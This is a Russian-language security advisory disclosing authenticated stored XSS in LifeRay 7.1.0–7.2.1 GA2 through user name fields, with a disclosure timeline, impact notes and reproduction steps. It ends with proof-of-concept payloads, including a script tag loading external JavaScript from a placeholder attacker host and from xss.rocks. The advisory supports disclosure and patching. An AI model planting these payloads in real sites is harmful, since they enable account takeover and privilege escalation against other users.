Аутентифицированное сохраненное XSS в LifeRay 7.2.1 GA2 через MyAccountPortlet, исполняемое через результаты поиска

В LifeRay версии 7.1.0 до 7.2.1 GA2 поля «Имя», «Отчество» и «Фамилия» для учетных записей пользователей уязвимы для сохраненной XSS. Любой пользователь может изменить эти поля с помощью определенной XSS-нагрузки, и она будет сохранена в базе данных, «заражая» пользователя. Нагрузка будет выполнена, когда пользователь воспользуется функцией поиска для поиска других пользователей. Если зараженный пользователь отображается в результатах поиска, XSS-нагрузка выполнится.

• Автор/Исследователь: Casey Erdmann
• Дата обнаружения: 10/17/2019
• Последняя редакция: 10/05/2020
• Частное раскрытие: 10/18/2019
• Публичное раскрытие: 01/27/2020 (Сообщение в блоге)
• Исправленный релиз: 01/30/2020 Liferay Portal 7.3.0 GA1
• Выпуск доказательства концепции: 10/05/2020

Воздействие

Эта уязвимость позволяет злоумышленнику выполнить произвольный код в контексте любого пользователя, который активирует XSS-нагрузку через поиск. На практике это может привести к повышению привилегий от непривилегированного пользователя до администратора, а также к боковому перемещению при захвате других учетных записей. Кроме того, все, что может быть выполнено через JavaScript, может быть эксплуатировано в контексте другого пользователя.

Как вы увидите в доказательстве концепции (PoC), это широко открыто, так как злоумышленник имеет возможность легко загружать внешние скрипты в контексте по умолчанию.

Большинство важных сессионных куки помечены как HTTPOnly, что в основном предотвращает простые методы перехвата сессии. Тем не менее, следует отметить, что пользователи, просматривающие страницу в старых браузерах, еще более подвержены этому воздействию из-за XST-атак.

Поскольку пользователи-администраторы могут выполнять команды Gogo Shell и Groovy Script, возможно также объединить эту эксплуатацию с этими обычно предназначенными функциями, чтобы получить незапланированное RCE на хост-системе, начиная с непривилегированного пользователя.

Шаги для воспроизведения

Для того чтобы эта уязвимость сработала, должны быть выполнены два условия:

1. Вы должны иметь доступ к учетной записи пользователя, в которой вы можете изменить поля «Имя», «Отчество» или «Фамилия».
2. Ваш пользователь должен быть доступен для поиска в LifeRay. Обычно это означает, что его нужно добавить на сайт. По умолчанию пользователь может добавить себя на базовый сайт, что означает, что он может сделать себя доступным для поиска без дополнительных разрешений.

Как только эти условия выполнены, можно выполнить следующие шаги для эксплуатации уязвимости:

1. Войдите как пользователь, к которому у вас есть доступ
2. Перейдите в раздел Настройки учетной записи
   • Нажмите на иконку профиля > Настройки учетной записи
   • URL должен быть примерно таким: http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????
3. Измените поля «Имя», «Отчество» или «Фамилия» в форме, используя вашу XSS-нагрузку (см. примеры PoC ниже), и нажмите Сохранить
4. Если вы еще не состоите на сайте, вы можете присоединиться к нему, перейдя по ссылке http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive и нажав на иконку «три точки» с правой стороны, затем выберите присоединиться.
5. Выполните поиск вашего пользователя, чтобы активировать XSS-нагрузку: http://mysite.com/web/guest/search?q=<my user>
   • Для тестирования, чтобы продемонстрировать воздействие на другого пользователя:
     • Войдите как второй пользователь, найдите «зараженного пользователя», и XSS-нагрузка также выполнится в его контексте.

PoC Простое предупреждение

• <<SCRIPT>alert("XSS");//<</SCRIPT>

PoC Внешний скрипт и обход фильтра

• <SCRIPT SRC="//attacker.site/payload.js">
• Попробуйте демонстрацию с xss.rocks!
  • <SCRIPT SRC="//xss.rocks/xss.js"/>

Версия отчета 4.0